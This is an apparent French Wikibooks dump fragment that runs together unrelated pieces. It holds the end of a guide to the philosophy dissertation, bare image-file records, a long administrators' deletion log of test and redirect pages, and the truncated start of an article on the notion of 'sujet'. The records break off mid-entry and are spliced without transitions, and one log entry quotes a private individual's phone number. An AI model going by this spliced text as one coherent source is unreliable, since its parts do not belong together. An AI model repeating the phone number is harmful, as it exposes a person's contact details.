(introduction, développement, conclusion). *il existe des règles à suivre pour chacune d'elle : chaque partie demande une structuration minimale dont on peut énoncer les règles. == Le sujet == Cela peut sembler une évidence, mais les nombreux hors-sujets faits par les élèves nécessitent de le rappeller : *'''un travail de dissertation a pour point de départ un sujet donné'''. Ce sujet est incontournable : on ne modifie pas le sujet, on ne fait pas non plus une dissertation entière pour le critiquer. Le sujet est pour le rédacteur une contrainte qui va lui permettre de mettre en oeuvre ses facultés intellectuelles et ses connaissances. La non-liberté du sujet est la condition de la liberté de la pensée. D'où cette règle d'or : *'''Traiter le sujet, tout le sujet et seulement le sujet.''' Bien des erreurs peuvent être évitées grâce à cette règle. Un élève qui écrit sa dissertation dans l'état d'esprit que suppose cette règle est déjà sur la voie d'un bon travail : concentration de la pensée, exploration des notions du sujet, élimination des hors-sujet. Tout est joué à ce moment, et qui aborde un sujet ainsi se facilitera grandement l'ensemble de son travail. En philosophie, il existe plusieurs forme de sujet : *Question : la forme de la question, rappelons le, exige que l'on donne une réponse. Chaque type de question exige un certain type de réponse (mais ceci peut varier selon la problématique que l'on traite). **Qu'est-ce que... ? = chercher une définition. **Peut-on... ? Non pas si cela existe, mais est-ce possible ? Dans certains cas = Doit-on ? **Doit-on... ? :Attention à ces deux dernières questions : il faut repérer dans quel domaine la réponse est exigée. Posez-vous la question : cela concerne-t-il la morale, l'action humaine en général. *Notion ou groupe de notions : ce type de sujet suppose une certaine capacité d'exprimer des problèmes. == L'introduction == Une introduction se compose de plusieurs parties : *L'introduction du sujet : le sujet peut être amené par une observation générale, un exemple, une citation. Certains défauts sont à éviter absolument : **ne pas user de généralités absolues et intemporelles : il y a de fortes chances pour que de telles généralités soient fausses ou creuses (ex : De tous temps, les hommes...). Une observation générale est en revanche tout autre chose : par exemple, un proverbe, une observation psychologique, etc. **il est préférable d'éviter les citations : « Kant a dit que : etc. » Il faut les éviter car des citations demandent en général à être expliquées, et ce n'est pas le but d'une introduction, ni même d'une dissertation, mais d'une explication de texte. **éviter les exemples trop particuliers : pas d'exemple personnel. Votre travail dans une dissertation philosophique est de vous efforcer de répondre d'une manière aussi complète que possible à une ou plusieurs question. Les exemples personnels sont rarement de bons appuis pour la pensée! *Problématiser : la problématisation consiste à poser des difficultés sous la forme de questions auxquelles il vous faudra répondre au cours de votre travail. Ces questions mettent en crise les notions examinées. Par exemple: vous travaillez sur la connaissance de soi. Il paraît évident que la conscience de soi nous renseigne sur nous-même. Mais la conscience n'est pas la connaissance ; voilà donc une problématique que l'on peut formuler ainsi : la conscience que nous avons de nous-mêmes nous permet-elle de nous connaître ? *Annoncer le plan : évitez les annonces scolaires du type : dans une première partie... dans une autre... Vous pouvez annoncer votre plan sous forme de questions : ceci est-il cela, ceci est-il un problème pour ce que nous examinons ; nous verrons ensuite s'il est possible ; puis nous chercherons ceci ou cela. Vous n'êtes pas obligé de dévoiler tout votre plan : indiquez les grandes lignes et cela suffira. == Le développement == Il existe plusieurs types de plan. Avant de connaître ces types, la question essentielle est : selon quels critères dois-je construire un plan ? La réponse est très simple : le plan doit correspondre à l'articulation des problèmes que vous posez d'après le sujet. Le plan le plus simple que vous pouvez adopter si vous ne trouvez pas d'autres solutions, est le plan dialectique répondant surtout à un sujet sous forme de question : *Première partie : réponse oui à la question ; *Deuxième partie : non ; *Troisième partie : résolution du conflit. Mais ce plan comporte néanmoins des pièges difficiles à éviter pour un débutant : le plus important se trouve dans la troisième partie, où il s'agit de produire une véritable synthèse, ce qui demande une solide réflexion ; par exemple : peut-on réduire l'amour à une pulsion animale ? *oui, car l'amour est la spiritualisation de l'instinct ; *non, car il existe de nombreuses formes d'amour (amour intellectuel, amour de Dieu, etc) ; *résolution : l'amour a bien une origine animale, mais les formes qu'il prend ne saurait se comprendre uniquement d'après cette origine. Comme vous pouvez le voir, la réponse n'est ni oui, ni non, mais n'est pas non plus un peut-être évasif : elle reprend certains aspects du oui et du non, et produit une synthèse qui est une véritable réponse. == La conclusion == *Récapituler : une brève synthèse de ce que vous avez aquis au cours de votre réflexion : **qu'avons-nous trouvé ? ***par exemple : nous avons commencé par examiner telle question, et nous avons trouvé que la conscience diffère de la connaissance dans la mesure où etc. **quelles questions avons-nous résolues, quelles questions demeurent sans solutions ? *Conclure en répondant à la question : relisez l'introduction, et répondez aux questions que vous y avez posées et répondez au sujet. :Attention : une réponse ne veut pas dire que vous devez avoir la ''solution'' de tous les problèmes : une réponse peut être un constat d'aporie, i.e. que l'on ne sait comment répondre à la question. C'est une réponse philosophique à part entière. Mais surtout, expliquez bien pourquoi vous ne pouvez répondre. Par exemple : cela dépasse nos capacités de connaissance (mais alors, de quelle manière). *Evitez les ouvertures en fin de conclusion. Ces ouvertures sont trop souvent des pièges où l'on tombe dans des généralités qui affaiblissent la qualité de la conclusion. == Comment s'organiser ? == Il n'y a pas d'organisation incontournable. Mais des conseils de bon sens peuvent être donnés : *Lire le sujet : **S'il s'agit d'un ensemble de notions, le premier travail consiste à noter l'ensemble des notions qui s'y rattachent. Exemple : conscience > esprit > pensée > sujet, etc. Mais il faut noter également les contraires : inconscient, inconscience, etc. Cela vous évitera de commettre des contre sens, et vous permettra de traiter un sujet de la manière la plus complète possible. *Travailler au brouillon : bien souvent, le plus pratique consiste à écrire les grandes lignes du développement, puis à rédiger soigneusement l'introduction une fois seulement que votre travail de réflexions est achevé. *Rédiger proprement une introduction : une bonne introduction montre votre compréhension du sujet. C'est pourquoi vous pourrez avoir la moyenne, alors même que votre développement serait médiocre. *Rédiger le développement directement au propre. Image:Yellow.png 213 12015 2004-07-31T12:06:26Z Simias 12 jaune jaune Image:Green.png 214 12016 2004-07-31T12:06:46Z Simias 12 vert vert Image:Red.png 215 12017 2004-07-31T12:07:01Z Simias 12 rouge rouge Wikilivres:Historique des effacements 217 sysop 12018 2004-12-20T17:08:40Z Marc 66 effacement de "Relations familiales (hindi)": le contenu avant effacement était : 'sergio' <ul><li>20 déc 2004 à 17:08 [[Utilisateur:Caton|Caton]] effacement de "Relations familiales (hindi)" <em>(le contenu avant effacement était : &#39;sergio&#39;)</em></li> <li>15 déc 2004 à 12:33 [[Utilisateur:Yann|Yann]] effacement de "Cours élémentaires III : Dire bonjour" <em>(contenant &#39;bonjour kin&#39;)</em></li> <li>13 déc 2004 à 17:12 [[Utilisateur:Yann|Yann]] effacement de "Réactions Redox (Chimie générale)" <em>(contenant &#39;&#123;&#123;Chimiegénérale}}à écrire&#39; (en double))</em></li> <li>13 déc 2004 à 17:11 [[Utilisateur:Yann|Yann]] effacement de "Chimie de quelques éléments (Chimie générale)" <em>(contenant &#39;a supprimer&#39;)</em></li> <li>13 déc 2004 à 17:11 [[Utilisateur:Yann|Yann]] effacement de "Dictionnaire Français-Interlingue(occidental)/A - ..." <em>(contenant &#39;&#91;&#91;Dictionnaire Français-Interlingue(occidental)]]&#39;&#39;&#39;a, ad&#39;&#39;&#39; à&#39;)</em></li> <li>13 déc 2004 à 17:10 [[Utilisateur:Yann|Yann]] effacement de "Vruchtbrengend Woordenboek: Voorwoord" <em>(contenant &#39;Verplaatst naar http&#58;//nl.wikibooks.org/wiki/Vruchtbrengend_Woordenboek:_Voorwoord&#39;)</em></li> <li>13 déc 2004 à 17:07 [[Utilisateur:Yann|Yann]] effacement de "French authors" <em>(contenant &#39;Les auteurs de ce livre:*&#91;&#91;User:Traroth&#124;Traroth]]&#39;)</em></li> <li>13 déc 2004 à 17:04 [[Utilisateur:Yann|Yann]] effacement de "Prénoms corses" <em>(contenant &#39;petru&#39;)</em></li> <li>9 déc 2004 à 21:48 [[Utilisateur:Yann|Yann]] effacement de "Algèbre:Nombres entiers naturels" <em>(le contenu avant effacement était : &#39;eee&#39;)</em></li> <li>2 déc 2004 à 07:26 [[Utilisateur:Caton|Caton]] effacement de "Monadologie" <em>(déplacé vers &#91;&#91;w:Monadologie]])</em></li> <li>2 déc 2004 à 07:19 [[Utilisateur:Caton|Caton]] effacement de "Généalogie de la connaissance" <em>(déplacé vers &#91;&#91;w:Nietzsche]])</em></li> <li>2 déc 2004 à 07:18 [[Utilisateur:Caton|Caton]] effacement de "Nietzsche et la tragédie" <em>(déplacé vers &#91;&#91;w:Nietzsche]])</em></li> <li>29 nov 2004 à 14:53 [[Utilisateur:Yann|Yann]] effacement de "Problèmes sociaux : point de vue sociologique" <em>(inapproprié pour Wikibooks)</em></li> <li>29 nov 2004 à 14:53 [[Utilisateur:Yann|Yann]] effacement de "Discuter:Problèmes sociaux : point de vue sociologique" <em>(inapproprié pour Wikibooks)</em></li> <li>26 nov 2004 à 11:10 [[Utilisateur:Yann|Yann]] effacement de "Programmation Assembleur Mips" <em>(contenant &#39;alors ca va&#39;)</em></li> <li>22 nov 2004 à 19:03 [[Utilisateur:Caton|Caton]] effacement de "Cours d'espagnol : Leçon 4" <em>(contenant &#39;bonjour comment ça va&#39;)</em></li> <li>21 nov 2004 à 17:12 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Cours d'espagnol : Introduction" <em>(contenant &#39;bonjour&#39;)</em></li> <li>21 nov 2004 à 17:09 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Cours d'espagnol : Leçon 2" <em>(contenant &#39;bonjour cher ami&#39;)</em></li> <li>21 nov 2004 à 17:08 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Grammaire du hindi" <em>(contenant &#39;je&#39;)</em></li> <li>14 nov 2004 à 11:19 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Vocabulaire (hindi)" <em>(contenant &#39;Gerry&#39;)</em></li> <li>9 nov 2004 à 21:58 [[Utilisateur:Yann|Yann]] effacement de "Démarrage, initialisation, arrêt système et niveaux d'exécution (LPIC102)" <em>(contenant &#39;njbihbihbvui&#39;)</em></li> <li>8 nov 2004 à 20:48 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Fr Programmation SQL Langage de définition de données" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation SQL Langage de définition de données]]&#39;)</em></li> <li>8 nov 2004 à 20:48 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Fr Programmation SQL Langage de manipulation de données" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation SQL Langage de manipulation de données]]&#39;)</em></li> <li>8 nov 2004 à 20:48 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Fr Programmation ksh Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation ksh Introduction]]&#39;)</em></li> <li>8 nov 2004 à 20:48 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Fr Programmation bash Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation bash Introduction]]&#39;)</em></li> <li>8 nov 2004 à 20:48 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Fr Programmation Shellscript Principes et commandes de base" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Shellscript Principes et commandes de base]]&#39;)</em></li> <li>8 nov 2004 à 20:47 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation SQL Langage de contrôle de données" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation SQL Langage de contrôle de données]]&#39;)</em></li> <li>8 nov 2004 à 20:47 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Fr Programmation Smalltalk Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Smalltalk Introduction]]&#39;)</em></li> <li>8 nov 2004 à 20:47 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation SQL PL/SQL Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation SQL PL/SQL Introduction]]&#39;)</em></li> <li>8 nov 2004 à 20:47 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Fr Programmation Scheme REPL" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Scheme REPL]]&#39;)</em></li> <li>8 nov 2004 à 20:47 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation TeX Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation TeX Introduction]]&#39;)</em></li> <li>8 nov 2004 à 20:46 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Fr Programmation Scheme Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Scheme Introduction]]&#39;)</em></li> <li>8 nov 2004 à 20:46 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Tcl Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Tcl Introduction]]&#39;)</em></li> <li>8 nov 2004 à 20:46 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Fr Programmation JBuilder Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation JBuilder Introduction]]&#39;)</em></li> <li>8 nov 2004 à 20:46 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation VRML Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation VRML Introduction]]&#39;)</em></li> <li>8 nov 2004 à 20:46 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Fr Programmation Kylix Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Kylix Introduction]]&#39;)</em></li> <li>8 nov 2004 à 20:46 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Fr Programmation Delphi Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Delphi Introduction]]&#39;)</em></li> <li>8 nov 2004 à 20:45 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation DirectX Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation DirectX Introduction]]&#39;)</em></li> <li>8 nov 2004 à 20:45 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Fr Programmation J2EE Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation J2EE Introduction]]&#39;)</em></li> <li>8 nov 2004 à 20:44 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation J2SE Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation J2SE Introduction]]&#39;)</em></li> <li>8 nov 2004 à 14:39 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "X Window (LPIC101)" <em>(contenant &#39;Je vais pas commencer à parler d&#39;un truc que je ne connais pas, non? ;-)&#39;)</em></li> <li>7 nov 2004 à 16:07 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Qu'est-ce que la philosophie ?" <em>(remplacé par &#91;&#91;Introduction générale à la philosophie]])</em></li> <li>1 nov 2004 à 15:47 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Prénoms corses" <em>(contenant &#39;salut&#39;)</em></li> <li>31 oct 2004 à 19:30 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Chimie inorganique" <em>(contenant &#39;sturcure type NaCl&#39;)</em></li> <li>28 oct 2004 à 19:56 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Versions latins, niveau moyen" <em>(contenant &#39;&amp;lt;nowiki&amp;gt;Entrez le texte non formatté ici&amp;lt;/nowiki&amp;gt;Pedibus saepe per urbem ambulabat.&#39;)</em></li> <li>28 oct 2004 à 19:55 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Programmation J2EE" <em>(contenant &#39;aaa&#39;)</em></li> <li>25 oct 2004 à 11:41 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Cours d'espagnol : Leçon 2" <em>(le contenu avant effacement était : &#39;hyufcjkhbhkjhkljhkjlv&#39;)</em></li> <li>23 oct 2004 à 16:12 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Chimie physique" <em>(le contenu avant effacement était : &#39;&#39;&#39;&#39;Texte gras&#39;&#39;&#39;Ques que la chimie physique?&#39;)</em></li> <li>22 oct 2004 à 17:22 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "X Window (LPIC101)" <em>(contenant &#39;&#39;&#39;&#39;essai&#39;&#39;&#39;&#39;&#39;linyx&#39;&#39;&#39;)</em></li> <li>22 oct 2004 à 17:22 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Installation de Linux & Gestion des Packages (LPIC101)" <em>(contenant &#39;documentation linux redhat9.1&#39;)</em></li> <li>22 oct 2004 à 11:28 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Transwiki:Fr Programmation C Types de base" <em>(inutile, voir &#91;&#91;Programmation C]])</em></li> <li>22 oct 2004 à 11:27 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Transwiki:Fr Programmation C Bases du langage" <em>(inutile, voir &#91;&#91;Programmation C]])</em></li> <li>21 oct 2004 à 22:53 [[Utilisateur:Yann|Yann]] effacement de "Transwiki:Fr Programmation C" <em>(inutile)</em></li> <li>21 oct 2004 à 22:33 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Analyse:Fonctions" <em>(contenant &#39;Fonctions&#39;)</em></li> <li>21 oct 2004 à 22:32 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Dictionnaire Français-Interlingue(occidental)/A" <em>(déplacement vers wiktionaire effectué)</em></li> <li>21 oct 2004 à 22:30 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Prononciation de l'espagnol" <em>(le contenu avant effacement était : &#39;llorando&#39;)</em></li> <li>21 oct 2004 à 22:28 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Corsican Appendix G" <em>(contenant &#39;bienvenue en corse&#39;)</em></li> <li>21 oct 2004 à 18:52 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "GNU & commandes Unix (LPIC101)" <em>(contenant &#39;fgdfgd &#39;&#39;&#39;fdg&#39;&#39;&#39;&#39;&#39;Texte italique&#39;&#39;&#91;http&#58;//www.example.com lien titre]&#91;&#91;Image:Exemple.jpg]]&#39;)</em></li> <li>21 oct 2004 à 05:22 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Installation de Linux & Gestion des Packages (LPIC101)" <em>(contenant &#39;dghhdjd - lo&#39;)</em></li> <li>20 oct 2004 à 16:08 [[Utilisateur:Yann|Yann]] effacement de "Introduction générale" <em>(contenant &#39;À effacer&#39;)</em></li> <li>20 oct 2004 à 05:42 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Gestion de réseaux (LPIC202)" <em>(contenant &#39;moi&#39;)</em></li> <li>17 oct 2004 à 16:49 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Responsabilité" <em>(contenant &#39;pénis&#39;)</em></li> <li>14 oct 2004 à 05:53 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Programmation Assembleur" <em>(suppression effectué à la demande de &#91;&#91;Utilisateur:Ecureuil gris&#124;Ecureuil gris]])</em></li> <li>13 oct 2004 à 17:48 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Dictionnaire français-interlingue (occidental)" <em>(déplacement vers wiktionaire effectué)</em></li> <li>13 oct 2004 à 17:47 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Dictionnaire français-interlingue (occidental) / A" <em>(déplacement vers wiktionaire effectué)</em></li> <li>12 oct 2004 à 15:52 [[Utilisateur:Yann|Yann]] effacement de "Discuter:Vi Découvrir vi" <em>(le contenu avant effacement était : &#39;comment cela se fait-il que je suis en mode administrateur...???&#39;)</em></li> <li>12 oct 2004 à 15:36 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Point de fuite" <em>(contenant &#39;Bonjour gens du peuple la sécurité sur internet est incontournable de nos jours&#39;)</em></li> <li>11 oct 2004 à 14:44 [[Utilisateur:Yann|Yann]] effacement de "Programmation C plus plus Les classes en C plus plus" <em>(contenant &#39;salut !je veut faire un programme pour la Gestion de scolarité avec le c++.aidez moi SVP!&#39;)</em></li> <li>10 oct 2004 à 16:36 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Moi" <em>(contenant &#39;que peut-on savoir de soi&#39;)</em></li> <li>9 oct 2004 à 15:53 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Discuter:Vocabulaire de la philosophie kantienne" <em>(contenant &#39;&#39;&#39;&#39;Texte gras&#39;&#39;&#39;&#39;)</em></li> <li>8 oct 2004 à 21:17 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Corsican Lesson 1" <em>(le contenu avant effacement était : &#39;&#91;&#91;Lien titre]]&#39;)</em></li> <li>1 oct 2004 à 05:40 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Déclinaison" <em>(contenant &#39;je suis en latin depusi trois année mais je ne sais rien faire, ni écrire ni parler ni lire et ceci est catastrophique...&#39;)</em></li> <li>28 sep 2004 à 09:30 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Enseignement de l'allemand : Niveau 1" <em>(contenant &#39;?&#39;)</em></li> <li>27 sep 2004 à 17:44 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Utilisateur:Guillaumito/essai"</li> <li>27 sep 2004 à 12:36 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Image:Gvim.jpg" <em>(suppression faite à la demande de l&#39;utilisateur Gauz (l&#39;image existe toujours en .png))</em></li> <li>26 sep 2004 à 23:25 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Médiator" <em>(contenu déplacé vers http&#58;//fr.wikipédia.org/wiki/Plectre)</em></li> <li>25 sep 2004 à 22:21 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Français" <em>(contenant &#39;Si amari digna videberis, a multis amaberis.&#39;)</em></li> <li>23 sep 2004 à 16:11 [[Utilisateur:Guillaumito|Guillaumito]] effacement de "Programmation C Syntaxe" <em>(contenu déplacé dans les baes du langage)</em></li> <li>18 sep 2004 à 15:58 [[Utilisateur:Yann|Yann]] effacement de "Wikipédia:Recentchanges" <em>(wikilivres, pas wikipédia ;o))</em></li> <li>18 sep 2004 à 15:25 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Merise (analyse et conception)" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Merise (analyse et conception)]]&#39;)</em></li> <li>18 sep 2004 à 15:22 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Merise MCD" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Merise MCD]]&#39;)</em></li> <li>18 sep 2004 à 15:22 [[Utilisateur:Yann|Yann]] effacement de "Discuter:Fr Programmation Merise MCD" <em>(contenant &#39;#REDIRECT &#91;&#91;Discuter:Programmation Merise MCD]]&#39;)</em></li> <li>18 sep 2004 à 15:21 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation OMT" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation OMT]]&#39;)</em></li> <li>18 sep 2004 à 15:20 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Cycle en V" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Cycle en V]]&#39;)</em></li> <li>18 sep 2004 à 15:20 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation UML" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation UML]]&#39;)</em></li> <li>18 sep 2004 à 15:20 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation XP" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation XP]]&#39;)</em></li> <li>18 sep 2004 à 15:18 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation UML Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation UML Introduction]]&#39;)</em></li> <li>18 sep 2004 à 15:12 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Programmation orientée aspect" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation orientée aspect]]&#39;)</em></li> <li>18 sep 2004 à 15:11 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Programmation orientée aspect Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation orientée aspect Introduction]]&#39;)</em></li> <li>18 sep 2004 à 15:10 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Programmation par contrat" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation par contrat]]&#39;)</em></li> <li>18 sep 2004 à 15:10 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Programmation par contrat Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation par contrat Introduction]]&#39;)</em></li> <li>18 sep 2004 à 15:07 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Algol" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Algol]]&#39;)</em></li> <li>18 sep 2004 à 15:07 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Algol Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Algol Introduction]]&#39;)</em></li> <li>18 sep 2004 à 15:06 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation ABAP" <em>(le contenu avant effacement était : &#39;Débutant, je cherche à me perfectionner en ABAP car je ne trouve pas de livre en français meme sur internet.06 65 21 40 24&#39;)</em></li> <li>18 sep 2004 à 15:05 [[Utilisateur:Yann|Yann]] effacement de "Discuter:Fr Programmation ABAP" <em>(contenant &#39;Je suis desole mais mais &#39;wikibooks&#39; n&#39;est pas un forum où l&#39;on passe des annonce! c&#39;est une encyclopedie&#39;)</em></li> <li>18 sep 2004 à 15:05 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Actionscript" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Actionscript]]&#39;)</em></li> <li>18 sep 2004 à 14:57 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Programmation impérative" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation impérative]]&#39;)</em></li> <li>18 sep 2004 à 14:57 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Programmation orientée objet" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation orientée objet]]&#39;)</em></li> <li>18 sep 2004 à 13:40 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Algorithmique" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Algorithmique]]&#39;)</em></li> <li>18 sep 2004 à 13:35 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Ada" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Ada]]&#39;)</em></li> <li>18 sep 2004 à 13:33 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Ada Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Ada Introduction]]&#39;)</em></li> <li>18 sep 2004 à 13:29 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Cobol" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Cobol]]&#39;)</em></li> <li>18 sep 2004 à 13:28 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation C sharp" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation C sharp]]&#39;)</em></li> <li>18 sep 2004 à 13:26 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation C plus plus" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation C plus plus]]&#39;)</em></li> <li>18 sep 2004 à 13:26 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation C plus plus Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation C plus plus Introduction]]&#39;)</em></li> <li>18 sep 2004 à 13:24 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Awk" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Awk]]&#39;)</em></li> <li>18 sep 2004 à 13:24 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Basic" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Basic]]&#39;)</em></li> <li>18 sep 2004 à 13:17 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Anjuta" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Anjuta]]&#39;)</em></li> <li>18 sep 2004 à 13:16 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Assembleur Z80" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Assembleur Z80]]&#39;)</em></li> <li>18 sep 2004 à 13:15 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation Assembleur Introduction" <em>(contenant &#39;#REDIRECT &#91;&#91;Programmation Assembleur Introduction]]&#39;)</em></li> <li>18 sep 2004 à 13:15 [[Utilisateur:Yann|Yann]] effacement de "Fr Programmation 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attribué un prédicat *en métaphysique : le sujet est l'être réel doté de qualités et qui produit des actes. Le sujet est à la fois ce qui est ''objet'' de la pensée et de la connaissance (on dit un ''sujet de dissertation'') et le support de certaines autres réalités (actes, conscience, [[perception]], droits, etc.). C'est ce dernier sens qui est étudié ici, bien que tous ces sens soient liés au point que l'on puisse faire la critique du sujet en l'assimilant à un être purement logique voir à une fiction logique, fiction elle-même dérivée d'une habitude grammaticale trompeuse : par exemple, le fait de dire ''je'' dans une phrase ne serait en aucun cas la preuve que nous sommes un item auquel on prédique une qualité. Cet examen critique de la notion de sujet trouvera naturellement sa place plus loin dans cet article. Mais, pour commencer, considérons l'idée de sujet en tant qu'elle renvoie à une réalité dont on peut dire : *qu'on lui attribue certaines qualités (corporelles, psychiques, morales, juridiques, etc.) : le sujet est une personne dont on parle et que l'on décrit. Cette personne existe dans le temps et l'espace comme un objet, alors que certaines de ses qualités demeurent absolument invisibles, inatestables. C'est [[autrui]], dont on peut demander qui il est proprement et pour moi. On attribue également au sujet des qualités morales et des défauts, ainsi que des droits : le sujet peut être porteur de droits : droit de vivre, de penser, de se déplacer, etc. On lui attribue des devoirs : le sujet peut être soumis à une hiérarchie politique (par exemple, le sujet doit obéissance à son souverain) ou à une loi morale, i.e. à un devoir être (ce qui implique la responsabilité et la [[liberté]] du sujet). Dans ce cas, le fait d'être n'est pas suffisant pour constituer un sujet : il doit être, pour être. *qu'elle a la faculté de parler ''en première personne'', i.e. de se désigner elle-même comme référence de son discours. La personne qui se considère en tant que sujet se rapporte à elle-même certains actes, des pensées, des perceptions, des sentiments, des [[désir]]s, etc. ce qui introduit l'idée du ''je'', du 